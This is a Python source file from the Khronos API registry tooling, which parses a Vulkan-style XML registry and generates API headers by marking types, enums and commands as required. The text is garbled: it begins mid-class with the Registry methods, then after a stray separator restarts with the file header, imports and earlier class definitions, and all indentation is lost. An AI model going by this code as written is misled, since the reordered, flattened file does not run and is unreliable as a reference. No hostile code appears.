self.markCmdRequired(depname, required)
# Tag all parameter types of this command as required.
# This DOES NOT remove types of commands in a <remove>
# tag, because many other commands may use the same type.
# We could be more clever and reference count types,
# instead of using a boolean.
if required:
# Look for <type> in entire <command> tree,
# not just immediate children
for type_elem in cmd.elem.findall('.//type'):
self.gen.logMsg('diag', 'markRequired: command implicitly requires dependent type', type_elem.text)
self.markTypeRequired(type_elem.text, required)
else:
self.gen.logMsg('warn', 'command:', cmdname, 'IS NOT DEFINED')
def markRequired(self, featurename, feature, required):
"""Require or remove features specified in the Element.
- featurename - name of the feature
- feature - Element for `<require>` or `<remove>` tag
- required - boolean (to tag features as required or not)"""
self.gen.logMsg('diag', 'markRequired (feature = <too long to print>, required =', required, ')')
# Loop over types, enums, and commands in the tag
# @@ It would be possible to respect 'api' and 'profile' attributes
# in individual features, but that is not done yet.
for typeElem in feature.findall('type'):
self.markTypeRequired(typeElem.get('name'), required)
for enumElem in feature.findall('enum'):
self.markEnumRequired(enumElem.get('name'), required)
for cmdElem in feature.findall('command'):
self.markCmdRequired(cmdElem.get('name'), required)
# Extensions may need to extend existing commands or other items in the future.
# So, look for extend tags.
for extendElem in feature.findall('extend'):
extendType = extendElem.get('type')
if extendType == 'command':
commandName = extendElem.get('name')
successExtends = extendElem.get('successcodes')
if successExtends is not None:
for success in successExtends.split(','):
self.commandextensionsuccesses.append(self.commandextensiontuple(command=commandName,
value=success,
extension=featurename))
errorExtends = extendElem.get('errorcodes')
if errorExtends is not None:
for error in errorExtends.split(','):
self.commandextensionerrors.append(self.commandextensiontuple(command=commandName,
value=error,
extension=featurename))
else:
self.gen.logMsg('warn', 'extend type:', extendType, 'IS NOT SUPPORTED')
def getAlias(self, elem, dict):
"""Check for an alias in the same require block.
- elem - Element to check for an alias"""
# Try to find an alias
alias = elem.get('alias')
if alias is None:
name = elem.get('name')
typeinfo = self.lookupElementInfo(name, dict)
alias = typeinfo.elem.get('alias')
return alias
def checkForCorrectionAliases(self, alias, require, tag):
"""Check for an alias in the same require block.
- alias - String name of the alias
- require - `<require>` block from the registry
- tag - tag to look for in the require block"""
# For the time being, the code below is bypassed. It has the effect
# of excluding "spelling aliases" created to comply with the style
# guide, but this leaves references out of the specification and
# causes broken internal links.
#
# if alias and require.findall(tag + "[@name='" + alias + "']"):
# return True
return False
def fillFeatureDictionary(self, interface, featurename, api, profile):
"""Capture added interfaces for a `<version>` or `<extension>`.
- interface - Element for `<version>` or `<extension>`, containing
`<require>` and `<remove>` tags
- featurename - name of the feature
- api - string specifying API name being generated
- profile - string specifying API profile being generated"""
# Explicitly initialize known types - errors for unhandled categories
self.gen.featureDictionary[featurename] = {
"enumconstant": {},
"command": {},
"enum": {},
"struct": {},
"handle": {},
"basetype": {},
"include": {},
"define": {},
"bitmask": {},
"union": {},
"funcpointer": {},
}
# <require> marks things that are required by this version/profile
for require in interface.findall('require'):
if matchAPIProfile(api, profile, require):
# Determine the required extension or version needed for a require block
# Assumes that only one of these is specified
required_key = require.get('feature')
if required_key is None:
required_key = require.get('extension')
# Loop over types, enums, and commands in the tag
for typeElem in require.findall('type'):
typename = typeElem.get('name')
typeinfo = self.lookupElementInfo(typename, self.typedict)
if typeinfo:
# Remove aliases in the same extension/feature; these are always added as a correction. Do not need the original to be visible.
alias = self.getAlias(typeElem, self.typedict)
if not self.checkForCorrectionAliases(alias, require, 'type'):
# Resolve the type info to the actual type, so we get an accurate read for 'structextends'
while alias:
typeinfo = self.lookupElementInfo(alias, self.typedict)
alias = typeinfo.elem.get('alias')
typecat = typeinfo.elem.get('category')
typeextends = typeinfo.elem.get('structextends')
if not required_key in self.gen.featureDictionary[featurename][typecat]:
self.gen.featureDictionary[featurename][typecat][required_key] = {}
if not typeextends in self.gen.featureDictionary[featurename][typecat][required_key]:
self.gen.featureDictionary[featurename][typecat][required_key][typeextends] = []
self.gen.featureDictionary[featurename][typecat][required_key][typeextends].append(typename)
else:
self.gen.logMsg('warn', 'fillFeatureDictionary: NOT filling for {}'.format(typename))
for enumElem in require.findall('enum'):
enumname = enumElem.get('name')
typeinfo = self.lookupElementInfo(enumname, self.enumdict)
# Remove aliases in the same extension/feature; these are always added as a correction. Do not need the original to be visible.
alias = self.getAlias(enumElem, self.enumdict)
if not self.checkForCorrectionAliases(alias, require, 'enum'):
enumextends = enumElem.get('extends')
if not required_key in self.gen.featureDictionary[featurename]['enumconstant']:
self.gen.featureDictionary[featurename]['enumconstant'][required_key] = {}
if not enumextends in self.gen.featureDictionary[featurename]['enumconstant'][required_key]:
self.gen.featureDictionary[featurename]['enumconstant'][required_key][enumextends] = []
self.gen.featureDictionary[featurename]['enumconstant'][required_key][enumextends].append(enumname)
else:
self.gen.logMsg('warn', 'fillFeatureDictionary: NOT filling for {}'.format(typename))
for cmdElem in require.findall('command'):
# Remove aliases in the same extension/feature; these are always added as a correction. Do not need the original to be visible.
alias = self.getAlias(cmdElem, self.cmddict)
if not self.checkForCorrectionAliases(alias, require, 'command'):
if not required_key in self.gen.featureDictionary[featurename]['command']:
self.gen.featureDictionary[featurename]['command'][required_key] = []
self.gen.featureDictionary[featurename]['command'][required_key].append(cmdElem.get('name'))
else:
self.gen.logMsg('warn', 'fillFeatureDictionary: NOT filling for {}'.format(typename))
def requireFeatures(self, interface, featurename, api, profile):
"""Process `<require>` tags for a `<version>` or `<extension>`.
- interface - Element for `<version>` or `<extension>`, containing
`<require>` tags
- featurename - name of the feature
- api - string specifying API name being generated
- profile - string specifying API profile being generated"""
# <require> marks things that are required by this version/profile
for feature in interface.findall('require'):
if matchAPIProfile(api, profile, feature):
self.markRequired(featurename, feature, True)
def removeFeatures(self, interface, featurename, api, profile):
"""Process `<remove>` tags for a `<version>` or `<extension>`.
- interface - Element for `<version>` or `<extension>`, containing
`<remove>` tags
- featurename - name of the feature
- api - string specifying API name being generated
- profile - string specifying API profile being generated"""
# <remove> marks things that are removed by this version/profile
for feature in interface.findall('remove'):
if matchAPIProfile(api, profile, feature):
self.markRequired(featurename, feature, False)
def assignAdditionalValidity(self, interface, api, profile):
# Loop over all usage inside all <require> tags.
for feature in interface.findall('require'):
if matchAPIProfile(api, profile, feature):
for v in feature.findall('usage'):
if v.get('command'):
self.cmddict[v.get('command')].additionalValidity.append(copy.deepcopy(v))
if v.get('struct'):
self.typedict[v.get('struct')].additionalValidity.append(copy.deepcopy(v))
def removeAdditionalValidity(self, interface, api, profile):
# Loop over all usage inside all <remove> tags.
for feature in interface.findall('remove'):
if matchAPIProfile(api, profile, feature):
for v in feature.findall('usage'):
if v.get('command'):
self.cmddict[v.get('command')].removedValidity.append(copy.deepcopy(v))
if v.get('struct'):
self.typedict[v.get('struct')].removedValidity.append(copy.deepcopy(v))
def generateFeature(self, fname, ftype, dictionary):
"""Generate a single type / enum group / enum / command,
and all its dependencies as needed.
- fname - name of feature (`<type>`/`<enum>`/`<command>`)
- ftype - type of feature, 'type' | 'enum' | 'command'
- dictionary - of *Info objects - self.{type|enum|cmd}dict"""
self.gen.logMsg('diag', 'generateFeature: generating', ftype, fname)
f = self.lookupElementInfo(fname, dictionary)
if f is None:
# No such feature. This is an error, but reported earlier
self.gen.logMsg('diag', 'No entry found for feature', fname,
'returning!')
return
# If feature is not required, or has already been declared, return
if not f.required:
self.gen.logMsg('diag', 'Skipping', ftype, fname, '(not required)')
return
if f.declared:
self.gen.logMsg('diag', 'Skipping', ftype, fname, '(already declared)')
return
# Always mark feature declared, as though actually emitted
f.declared = True
# Determine if this is an alias, and of what, if so
alias = f.elem.get('alias')
if alias:
self.gen.logMsg('diag', fname, 'is an alias of', alias)
# Pull in dependent declaration(s) of the feature.
# For types, there may be one type in the 'requires' attribute of
# the element, one in the 'alias' attribute, and many in
# embedded <type> and <enum> tags within the element.
# For commands, there may be many in <type> tags within the element.
# For enums, no dependencies are allowed (though perhaps if you
# have a uint64 enum, it should require that type).
genProc = None
followupFeature = None
if ftype == 'type':
genProc = self.gen.genType
# Generate type dependencies in 'alias' and 'requires' attributes
if alias:
self.generateFeature(alias, 'type', self.typedict)
requires = f.elem.get('requires')
if requires:
self.gen.logMsg('diag', 'Generating required dependent type',
requires)
self.generateFeature(requires, 'type', self.typedict)
# Generate types used in defining this type (e.g. in nested
# <type> tags)
# Look for <type> in entire <command> tree,
# not just immediate children
for subtype in f.elem.findall('.//type'):
self.gen.logMsg('diag', 'Generating required dependent <type>',
subtype.text)
self.generateFeature(subtype.text, 'type', self.typedict)
# Generate enums used in defining this type, for example in
# <member><name>member</name>[<enum>MEMBER_SIZE</enum>]</member>
for subtype in f.elem.findall('.//enum'):
self.gen.logMsg('diag', 'Generating required dependent <enum>',
subtype.text)
self.generateFeature(subtype.text, 'enum', self.enumdict)
# If the type is an enum group, look up the corresponding
# group in the group dictionary and generate that instead.
if f.elem.get('category') == 'enum':
self.gen.logMsg('diag', 'Type', fname, 'is an enum group, so generate that instead')
group = self.lookupElementInfo(fname, self.groupdict)
if alias is not None:
# An alias of another group name.
# Pass to genGroup with 'alias' parameter = aliased name
self.gen.logMsg('diag', 'Generating alias', fname,
'for enumerated type', alias)
# Now, pass the *aliased* GroupInfo to the genGroup, but
# with an additional parameter which is the alias name.
genProc = self.gen.genGroup
f = self.lookupElementInfo(alias, self.groupdict)
elif group is None:
self.gen.logMsg('warn', 'Skipping enum type', fname,
': No matching enumerant group')
return
else:
genProc = self.gen.genGroup
f = group
# @ The enum group is not ready for generation. At this
# @ point, it contains all <enum> tags injected by
# @ <extension> tags without any verification of whether
# @ they are required or not. It may also contain
# @ duplicates injected by multiple consistent
# @ definitions of an <enum>.
# @ Pass over each enum, marking its enumdict[] entry as
# @ required or not. Mark aliases of enums as required,
# @ too.
enums = group.elem.findall('enum')
self.gen.logMsg('diag', 'generateFeature: checking enums for group', fname)
# Check for required enums, including aliases
# LATER - Check for, report, and remove duplicates?
enumAliases = []
for elem in enums:
name = elem.get('name')
required = False
extname = elem.get('extname')
version = elem.get('version')
if extname is not None:
# 'supported' attribute was injected when the <enum> element was
# moved into the <enums> group in Registry.parseTree()
supported_list = elem.get('supported').split(",")
if self.genOpts.defaultExtensions in supported_list:
required = True
elif re.match(self.genOpts.addExtensions, extname) is not None:
required = True
elif version is not None:
required = re.match(self.genOpts.emitversions, version) is not None
else:
required = True
self.gen.logMsg('diag', '* required =', required, 'for', name)
if required:
# Mark this element as required (in the element, not the EnumInfo)
elem.set('required', 'true')
# If it is an alias, track that for later use
enumAlias = elem.get('alias')
if enumAlias:
enumAliases.append(enumAlias)
for elem in enums:
name = elem.get('name')
if name in enumAliases:
elem.set('required', 'true')
self.gen.logMsg('diag', '* also need to require alias', name)
if f.elem.get('category') == 'bitmask':
followupFeature = f.elem.get('bitvalues')
elif ftype == 'command':
# Generate command dependencies in 'alias' attribute
if alias:
self.generateFeature(alias, 'command', self.cmddict)
genProc = self.gen.genCmd
for type_elem in f.elem.findall('.//type'):
depname = type_elem.text
self.gen.logMsg('diag', 'Generating required parameter type',
depname)
self.generateFeature(depname, 'type', self.typedict)
elif ftype == 'enum':
# Generate enum dependencies in 'alias' attribute
if alias:
self.generateFeature(alias, 'enum', self.enumdict)
genProc = self.gen.genEnum
# Actually generate the type only if emitting declarations
if self.emitFeatures:
self.gen.logMsg('diag', 'Emitting', ftype, 'decl for', fname)
genProc(f, fname, alias)
else:
self.gen.logMsg('diag', 'Skipping', ftype, fname,
'(should not be emitted)')
if followupFeature:
self.gen.logMsg('diag', 'Generating required bitvalues <enum>',
followupFeature)
self.generateFeature(followupFeature, "type", self.typedict)
def generateRequiredInterface(self, interface):
"""Generate all interfaces required by an API version or extension.
- interface - Element for `<version>` or `<extension>`"""
# Loop over all features inside all <require> tags.
for features in interface.findall('require'):
for t in features.findall('type'):
self.generateFeature(t.get('name'), 'type', self.typedict)
for e in features.findall('enum'):
# If this is an enum extending an enumerated type, do not
# generate it - this has already been done in reg.parseTree,
# by copying this element into the enumerated type.
enumextends = e.get('extends')
if not enumextends:
self.generateFeature(e.get('name'), 'enum', self.enumdict)
for c in features.findall('command'):
self.generateFeature(c.get('name'), 'command', self.cmddict)
def generateSpirv(self, spirv, dictionary):
if spirv is None:
self.gen.logMsg('diag', 'No entry found for element', name,
'returning!')
return
name = spirv.elem.get('name')
# No known alias for spirv elements
alias = None
if spirv.emit:
genProc = self.gen.genSpirv
genProc(spirv, name, alias)
def stripUnsupportedAPIs(self, dictionary, attribute, supportedDictionary):
"""Strip unsupported APIs from attributes of APIs.
dictionary - *Info dictionary of APIs to be updated
attribute - attribute name to look for in each API
supportedDictionary - dictionary in which to look for supported
API elements in the attribute"""
for key in dictionary:
eleminfo = dictionary[key]
attribstring = eleminfo.elem.get(attribute)
if attribstring is not None:
apis = []
stripped = False
for api in attribstring.split(','):
##print('Checking API {} referenced by {}'.format(api, key))
if supportedDictionary[api].required:
apis.append(api)
else:
stripped = True
##print('\t**STRIPPING API {} from {}'.format(api, key))
# Update the attribute after stripping stuff.
# Could sort apis before joining, but it is not a clear win
if stripped:
eleminfo.elem.set(attribute, ','.join(apis))
def generateFormat(self, format, dictionary):
if format is None:
self.gen.logMsg('diag', 'No entry found for format element',
'returning!')
return
name = format.elem.get('name')
# No known alias for VkFormat elements
alias = None
if format.emit:
genProc = self.gen.genFormat
genProc(format, name, alias)
def apiGen(self):
"""Generate interface for specified versions using the current
generator and generator options"""
self.gen.logMsg('diag', '*******************************************')
self.gen.logMsg('diag', ' Registry.apiGen file:', self.genOpts.filename,
'api:', self.genOpts.apiname,
'profile:', self.genOpts.profile)
self.gen.logMsg('diag', '*******************************************')
# Could reset required/declared flags for all features here.
# This has been removed as never used. The initial motivation was
# the idea of calling apiGen() repeatedly for different targets, but
# this has never been done. The 20% or so build-time speedup that
# might result is not worth the effort to make it actually work.
#
# self.apiReset()
# Compile regexps used to select versions & extensions
regVersions = re.compile(self.genOpts.versions)
regEmitVersions = re.compile(self.genOpts.emitversions)
regAddExtensions = re.compile(self.genOpts.addExtensions)
regRemoveExtensions = re.compile(self.genOpts.removeExtensions)
regEmitExtensions = re.compile(self.genOpts.emitExtensions)
regEmitSpirv = re.compile(self.genOpts.emitSpirv)
regEmitFormats = re.compile(self.genOpts.emitFormats)
# Get all matching API feature names & add to list of FeatureInfo
# Note we used to select on feature version attributes, not names.
features = []
apiMatch = False
for key in self.apidict:
fi = self.apidict[key]
api = fi.elem.get('api')
if apiNameMatch(self.genOpts.apiname, api):
apiMatch = True
if regVersions.match(fi.name):
# Matches API & version #s being generated. Mark for
# emission and add to the features[] list .
# @@ Could use 'declared' instead of 'emit'?
fi.emit = (regEmitVersions.match(fi.name) is not None)
features.append(fi)
if not fi.emit:
self.gen.logMsg('diag', 'NOT tagging feature api =', api,
'name =', fi.name, 'version =', fi.version,
'for emission (does not match emitversions pattern)')
else:
self.gen.logMsg('diag', 'Including feature api =', api,
'name =', fi.name, 'version =', fi.version,
'for emission (matches emitversions pattern)')
else:
self.gen.logMsg('diag', 'NOT including feature api =', api,
'name =', fi.name, 'version =', fi.version,
'(does not match requested versions)')
else:
self.gen.logMsg('diag', 'NOT including feature api =', api,
'name =', fi.name,
'(does not match requested API)')
if not apiMatch:
self.gen.logMsg('warn', 'No matching API versions found!')
# Get all matching extensions, in order by their extension number,
# and add to the list of features.
# Start with extensions whose 'supported' attributes match the API
# being generated. Add extensions matching the pattern specified in
# regExtensions, then remove extensions matching the pattern
# specified in regRemoveExtensions
for (extName, ei) in sorted(self.extdict.items(), key=lambda x: x[1].number if x[1].number is not None else '0'):
extName = ei.name
include = False
# Include extension if defaultExtensions is not None and is
# exactly matched by the 'supported' attribute.
if apiNameMatch(self.genOpts.defaultExtensions,
ei.elem.get('supported')):
self.gen.logMsg('diag', 'Including extension',
extName, "(defaultExtensions matches the 'supported' attribute)")
include = True
# Include additional extensions if the extension name matches
# the regexp specified in the generator options. This allows
# forcing extensions into an interface even if they are not
# tagged appropriately in the registry.
# However we still respect the 'supported' attribute.
if regAddExtensions.match(extName) is not None:
if not apiNameMatch(self.genOpts.apiname, ei.elem.get('supported')):
self.gen.logMsg('diag', 'NOT including extension',
extName, '(matches explicitly requested, but does not match the \'supported\' attribute)')
include = False
else:
self.gen.logMsg('diag', 'Including extension',
extName, '(matches explicitly requested extensions to add)')
include = True
# Remove extensions if the name matches the regexp specified
# in generator options. This allows forcing removal of
# extensions from an interface even if they are tagged that
# way in the registry.
if regRemoveExtensions.match(extName) is not None:
self.gen.logMsg('diag', 'Removing extension',
extName, '(matches explicitly requested extensions to remove)')
include = False
# If the extension is to be included, add it to the
# extension features list.
if include:
ei.emit = (regEmitExtensions.match(extName) is not None)
features.append(ei)
if not ei.emit:
self.gen.logMsg('diag', 'NOT tagging extension',
extName,
'for emission (does not match emitextensions pattern)')
# Hack - can be removed when validity generator goes away
# (Jon) I am not sure what this does, or if it should
# respect the ei.emit flag above.
self.requiredextensions.append(extName)
else:
self.gen.logMsg('diag', 'NOT including extension',
extName, '(does not match api attribute or explicitly requested extensions)')
# Add all spirv elements to list
# generators decide to emit them all or not
# Currently no filtering as no client of these elements needs filtering
spirvexts = []
for key in self.spirvextdict:
si = self.spirvextdict[key]
si.emit = (regEmitSpirv.match(key) is not None)
spirvexts.append(si)
spirvcaps = []
for key in self.spirvcapdict:
si = self.spirvcapdict[key]
si.emit = (regEmitSpirv.match(key) is not None)
spirvcaps.append(si)
formats = []
for key in self.formatsdict:
si = self.formatsdict[key]
si.emit = (regEmitFormats.match(key) is not None)
formats.append(si)
# Sort the features list, if a sort procedure is defined
if self.genOpts.sortProcedure:
self.genOpts.sortProcedure(features)
# print('sortProcedure ->', [f.name for f in features])
# Passes 1+2: loop over requested API versions and extensions tagging
# types/commands/features as required (in an <require> block) or no
# longer required (in an <remove> block). <remove>s are processed
# after all <require>s, so removals win.
# If a profile other than 'None' is being generated, it must
# match the profile attribute (if any) of the <require> and
# <remove> tags.
self.gen.logMsg('diag', 'PASS 1: TAG FEATURES')
for f in features:
self.gen.logMsg('diag', 'PASS 1: Tagging required and features for', f.name)
self.fillFeatureDictionary(f.elem, f.name, self.genOpts.apiname, self.genOpts.profile)
self.requireFeatures(f.elem, f.name, self.genOpts.apiname, self.genOpts.profile)
self.assignAdditionalValidity(f.elem, self.genOpts.apiname, self.genOpts.profile)
for f in features:
self.gen.logMsg('diag', 'PASS 2: Tagging removed features for', f.name)
self.removeFeatures(f.elem, f.name, self.genOpts.apiname, self.genOpts.profile)
self.removeAdditionalValidity(f.elem, self.genOpts.apiname, self.genOpts.profile)
# Now, strip references to APIs that are not required.
# At present such references may occur in:
# Structs in <type category="struct"> 'structextends' attributes
# Enums in <command> 'successcodes' and 'errorcodes' attributes
self.stripUnsupportedAPIs(self.typedict, 'structextends', self.typedict)
self.stripUnsupportedAPIs(self.cmddict, 'successcodes', self.enumdict)
self.stripUnsupportedAPIs(self.cmddict, 'errorcodes', self.enumdict)
# @@May need to strip <spirvcapability> / <spirvextension> <enable>
# tags of these forms:
# <enable version="VK_API_VERSION_1_0"/>
# <enable struct="VkPhysicalDeviceFeatures" feature="geometryShader" requires="VK_VERSION_1_0"/>
# <enable extension="VK_KHR_shader_draw_parameters"/>
# <enable property="VkPhysicalDeviceVulkan12Properties" member="shaderDenormPreserveFloat16" value="VK_TRUE" requires="VK_VERSION_1_2,VK_KHR_shader_float_controls"/>
# Pass 3: loop over specified API versions and extensions printing
# declarations for required things which have not already been
# generated.
self.gen.logMsg('diag', 'PASS 3: GENERATE INTERFACES FOR FEATURES')
self.gen.beginFile(self.genOpts)
for f in features:
self.gen.logMsg('diag', 'PASS 3: Generating interface for',
f.name)
emit = self.emitFeatures = f.emit
if not emit:
self.gen.logMsg('diag', 'PASS 3: NOT declaring feature',
f.elem.get('name'), 'because it is not tagged for emission')
# Generate the interface (or just tag its elements as having been
# emitted, if they have not been).
self.gen.beginFeature(f.elem, emit)
self.generateRequiredInterface(f.elem)
self.gen.endFeature()
# Generate spirv elements
for s in spirvexts:
self.generateSpirv(s, self.spirvextdict)
for s in spirvcaps:
self.generateSpirv(s, self.spirvcapdict)
for s in formats:
self.generateFormat(s, self.formatsdict)
self.gen.endFile()
def apiReset(self):
"""Reset type/enum/command dictionaries before generating another API.
Use between apiGen() calls to reset internal state."""
for datatype in self.typedict:
self.typedict[datatype].resetState()
for enum in self.enumdict:
self.enumdict[enum].resetState()
for cmd in self.cmddict:
self.cmddict[cmd].resetState()
for cmd in self.apidict:
self.apidict[cmd].resetState()
def __validateStructLimittypes(self, struct):
"""Validate 'limittype' attributes for a single struct."""
limittypeDiags = namedtuple('limittypeDiags', ['missing', 'invalid'])
badFields = defaultdict(lambda : limittypeDiags(missing=[], invalid=[]))
validLimittypes = { 'min', 'max', 'bitmask', 'range', 'struct', 'noauto' }
for member in struct.getMembers():
memberName = member.findtext('name')
if memberName in ['sType', 'pNext']:
continue
limittype = member.get('limittype')
if not limittype:
badFields[struct.elem.get('name')].missing.append(memberName)
elif limittype == 'struct':
typeName = member.findtext('type')
memberType = self.typedict[typeName]
badFields.update(self.__validateStructLimittypes(memberType))
elif limittype not in validLimittypes:
badFields[struct.elem.get('name')].invalid.append(memberName)
return badFields
def __validateLimittype(self):
"""Validate 'limittype' attributes."""
badFields = self.__validateStructLimittypes(self.typedict['VkPhysicalDeviceProperties2'])
for featStructName in self.validextensionstructs['VkPhysicalDeviceProperties2']:
featStruct = self.typedict[featStructName]
badFields.update(self.__validateStructLimittypes(featStruct))
if badFields:
self.gen.logMsg('diag', 'SUMMARY OF FIELDS WITH INCORRECT LIMITTYPES')
for key in sorted(badFields.keys()):
diags = badFields[key]
if diags.missing:
self.gen.logMsg('diag', ' ', key, 'missing limittype:', ', '.join(badFields[key].missing))
if diags.invalid:
self.gen.logMsg('diag', ' ', key, 'invalid limittype:', ', '.join(badFields[key].invalid))
return False
return True
def validateRegistry(self):
"""Validate properties of the registry."""
return self.__validateLimittype()
| #!/usr/bin/python3 -i
#
# Copyright 2013-2022 The Khronos Group Inc.
#
# SPDX-License-Identifier: Apache-2.0
"""Types and classes for manipulating an API registry."""
import copy
import re
import sys
import xml.etree.ElementTree as etree
from collections import defaultdict, deque, namedtuple
from generator import OutputGenerator, GeneratorOptions, write
from apiconventions import APIConventions
def apiNameMatch(str, supported):
"""Return whether a required api name matches a pattern specified for an
XML <feature> 'api' attribute or <extension> 'supported' attribute.
- str - API name such as 'vulkan' or 'openxr'. May be None, in which
case it never matches (this should not happen).
- supported - comma-separated list of XML API names. May be None, in
which case str always matches (this is the usual case)."""
if str is not None:
return supported is None or str in supported.split(',')
# Fallthrough case - either str is None or the test failed
return False
def matchAPIProfile(api, profile, elem):
"""Return whether an API and profile
being generated matches an element's profile
- api - string naming the API to match
- profile - string naming the profile to match
- elem - Element which (may) have 'api' and 'profile'
attributes to match to.
If a tag is not present in the Element, the corresponding API
or profile always matches.
Otherwise, the tag must exactly match the API or profile.
Thus, if 'profile' = core:
- `<remove>` with no attribute will match
- `<remove profile="core">` will match
- `<remove profile="compatibility">` will not match
Possible match conditions:
```
Requested Element
Profile Profile
--------- --------
None None Always matches
'string' None Always matches
None 'string' Does not match. Cannot generate multiple APIs
or profiles, so if an API/profile constraint
is present, it must be asked for explicitly.
'string' 'string' Strings must match
```
** In the future, we will allow regexes for the attributes,
not just strings, so that `api="^(gl|gles2)"` will match. Even
this is not really quite enough, we might prefer something
like `"gl(core)|gles1(common-lite)"`."""
# Match 'api', if present
elem_api = elem.get('api')
if elem_api:
if api is None:
raise UserWarning("No API requested, but 'api' attribute is present with value '"
+ elem_api + "'")
elif api != elem_api:
# Requested API does not match attribute
return False
elem_profile = elem.get('profile')
if elem_profile:
if profile is None:
raise UserWarning("No profile requested, but 'profile' attribute is present with value '"
+ elem_profile + "'")
elif profile != elem_profile:
# Requested profile does not match attribute
return False
return True
def stripNonmatchingAPIs(tree, apiName, actuallyDelete = True):
"""Remove tree Elements with 'api' attributes matching apiName.
tree - Element at the root of the hierarchy to strip. Only its
children can actually be removed, not the tree itself.
apiName - string which much match a command-separated component of
the 'api' attribute.
actuallyDelete - only delete matching elements if True."""
stack = deque()
stack.append(tree)
while len(stack) > 0:
parent = stack.pop()
for child in parent.findall('*'):
api = child.get('api')
if apiNameMatch(apiName, api):
# Add child to the queue
stack.append(child)
elif not apiNameMatch(apiName, api):
# Child does not match requested api. Remove it.
if actuallyDelete:
parent.remove(child)
class BaseInfo:
"""Base class for information about a registry feature
(type/group/enum/command/API/extension).
Represents the state of a registry feature, used during API generation.
"""
def __init__(self, elem):
self.required = False
"""should this feature be defined during header generation
(has it been removed by a profile or version)?"""
self.declared = False
"has this feature been defined already?"
self.elem = elem
"etree Element for this feature"
def resetState(self):
"""Reset required/declared to initial values. Used
prior to generating a new API interface."""
self.required = False
self.declared = False
def compareKeys(self, info, key, required = False):
"""Return True if self.elem and info.elem have the same attribute
value for key.
If 'required' is not True, also returns True if neither element
has an attribute value for key."""
if required and key not in self.elem.keys():
return False
return self.elem.get(key) == info.elem.get(key)
def compareElem(self, info, infoName):
"""Return True if self.elem and info.elem have the same definition.
info - the other object
infoName - 'type' / 'group' / 'enum' / 'command' / 'feature' /
'extension'"""
if infoName == 'enum':
if self.compareKeys(info, 'extends'):
# Either both extend the same type, or no type
if (self.compareKeys(info, 'value', required = True) or
self.compareKeys(info, 'bitpos', required = True)):
# If both specify the same value or bit position,
# they are equal
return True
elif (self.compareKeys(info, 'extnumber') and
self.compareKeys(info, 'offset') and
self.compareKeys(info, 'dir')):
# If both specify the same relative offset, they are equal
return True
elif (self.compareKeys(info, 'alias')):
# If both are aliases of the same value
return True
else:
return False
else:
# The same enum cannot extend two different types
return False
else:
# Non-<enum>s should never be redefined
return False
class TypeInfo(BaseInfo):
"""Registry information about a type. No additional state
beyond BaseInfo is required."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.additionalValidity = []
self.removedValidity = []
def getMembers(self):
"""Get a collection of all member elements for this type, if any."""
return self.elem.findall('member')
def resetState(self):
BaseInfo.resetState(self)
self.additionalValidity = []
self.removedValidity = []
class GroupInfo(BaseInfo):
"""Registry information about a group of related enums
in an <enums> block, generally corresponding to a C "enum" type."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
class EnumInfo(BaseInfo):
"""Registry information about an enum"""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.type = elem.get('type')
"""numeric type of the value of the <enum> tag
( '' for GLint, 'u' for GLuint, 'ull' for GLuint64 )"""
if self.type is None:
self.type = ''
class CmdInfo(BaseInfo):
"""Registry information about a command"""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.additionalValidity = []
self.removedValidity = []
def getParams(self):
"""Get a collection of all param elements for this command, if any."""
return self.elem.findall('param')
def resetState(self):
BaseInfo.resetState(self)
self.additionalValidity = []
self.removedValidity = []
class FeatureInfo(BaseInfo):
"""Registry information about an API <feature>
or <extension>."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
self.name = elem.get('name')
"feature name string (e.g. 'VK_KHR_surface')"
self.emit = False
"has this feature been defined already?"
self.sortorder = int(elem.get('sortorder', 0))
"""explicit numeric sort key within feature and extension groups.
Defaults to 0."""
# Determine element category (vendor). Only works
# for <extension> elements.
if elem.tag == 'feature':
# Element category (vendor) is meaningless for <feature>
self.category = 'VERSION'
"""category, e.g. VERSION or khr/vendor tag"""
self.version = elem.get('name')
"""feature name string"""
self.versionNumber = elem.get('number')
"""versionNumber - API version number, taken from the 'number'
attribute of <feature>. Extensions do not have API version
numbers and are assigned number 0."""
self.number = "0"
self.supported = None
else:
# Extract vendor portion of <APIprefix>_<vendor>_<name>
self.category = self.name.split('_', 2)[1]
self.version = "0"
self.versionNumber = "0"
self.number = elem.get('number')
"""extension number, used for ordering and for assigning
enumerant offsets. <feature> features do not have extension
numbers and are assigned number 0."""
# If there is no 'number' attribute, use 0, so sorting works
if self.number is None:
self.number = 0
self.supported = elem.get('supported')
class SpirvInfo(BaseInfo):
"""Registry information about an API <spirvextensions>
or <spirvcapability>."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
class FormatInfo(BaseInfo):
"""Registry information about an API <format>."""
def __init__(self, elem):
BaseInfo.__init__(self, elem)
class Registry:
"""Object representing an API registry, loaded from an XML file."""
def __init__(self, gen=None, genOpts=None):
if gen is None:
# If not specified, give a default object so messaging will work
self.gen = OutputGenerator()
else:
self.gen = gen
"Output generator used to write headers / messages"
if genOpts is None:
# If no generator is provided, we may still need the XML API name
# (for example, in genRef.py).
self.genOpts = GeneratorOptions(apiname = APIConventions().xml_api_name)
else:
self.genOpts = genOpts
"Options controlling features to write and how to format them"
self.gen.registry = self
self.gen.genOpts = self.genOpts
self.gen.genOpts.registry = self
self.tree = None
"ElementTree containing the root `<registry>`"
self.typedict = {}
"dictionary of TypeInfo objects keyed by type name"
self.groupdict = {}
"dictionary of GroupInfo objects keyed by group name"
self.enumdict = {}
"dictionary of EnumInfo objects keyed by enum name"
self.cmddict = {}
"dictionary of CmdInfo objects keyed by command name"
self.apidict = {}
"dictionary of FeatureInfo objects for `<feature>` elements keyed by API name"
self.extensions = []
"list of `<extension>` Elements"
self.extdict = {}
"dictionary of FeatureInfo objects for `<extension>` elements keyed by extension name"
self.spirvextdict = {}
"dictionary of FeatureInfo objects for `<spirvextension>` elements keyed by spirv extension name"
self.spirvcapdict = {}
"dictionary of FeatureInfo objects for `<spirvcapability>` elements keyed by spirv capability name"
self.formatsdict = {}
"dictionary of FeatureInfo objects for `<format>` elements keyed by VkFormat name"
self.emitFeatures = False
"""True to actually emit features for a version / extension,
or False to just treat them as emitted"""
self.breakPat = None
"regexp pattern to break on when generating names"
# self.breakPat = re.compile('VkFenceImportFlagBits.*')
self.requiredextensions = [] # Hack - can remove it after validity generator goes away
